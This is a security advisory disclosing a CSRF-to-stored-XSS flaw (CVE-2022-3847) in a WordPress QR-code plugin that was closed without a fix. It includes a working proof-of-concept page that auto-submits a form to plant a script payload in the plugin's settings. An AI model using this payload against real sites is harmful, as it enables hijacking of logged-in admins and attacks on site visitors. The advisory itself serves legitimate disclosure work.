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Showing URL in QR Code <= 0.0.1 - Stored XSS via CSRF

Description

The plugin does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin or editor add Stored XSS payloads via a CSRF attack

Proof of Concept

Make a logged in editor or admin open a page with the below payload

<html><form enctype="multipart/form-data" method="POST" action="https://<WordPress-Site>/wp-admin/admin.php?page=my-unique-qr-code" id="csrfpoc"><table><tr><td>checkbox-nested-2</td><td><input type="text" value="on" name="checkbox-nested-2"></td></tr>
<tr><td>bg_color</td><td><input type="text" value="&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;script&gt;alert(/XSS/)&lt;/script&gt;" name="bg_color" size="40"></td></tr>
<tr><td>colorDark</td><td><input type="text" value="#000000" name="colorDark"></td></tr>
<tr><td>colorLight</td><td><input type="text" value="#ffffff" name="colorLight"></td></tr>
<tr><td>width</td><td><input type="text" value="200" name="width"></td></tr>
<tr><td>height</td><td><input type="text" value="200" name="height"></td></tr>
<tr><td>urlinqrcoed-submit</td><td><input type="text" value="Save" name="urlinqrcoed-submit"></td></tr>
</table></form><script>csrfpoc.submit()</script></html> 

Affects Plugins

get-site-to-phone-by-qr-code
No known fix - plugin closed

References

CVE
CVE-2022-3847
URL
https://bulletin.iese.de/post/get-site-to-phone-by-qr-code_0-0-1/

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Kunal Sharma (University of Kaiserslautern), Daniel Krohmer (Fraunhofer IESE)

Submitter

Kunal Sharma

Submitter website
https://iese.fraunhofer.de/en.html
Verified

Yes

WPVDB ID
a70ad549-2e09-44fb-b894-4271ad4a84f6

Timeline

Publicly Published

2022-11-03 (about 4 months ago)

Added

2022-11-03 (about 4 months ago)

Last Updated

2022-12-02 (about 3 months ago)

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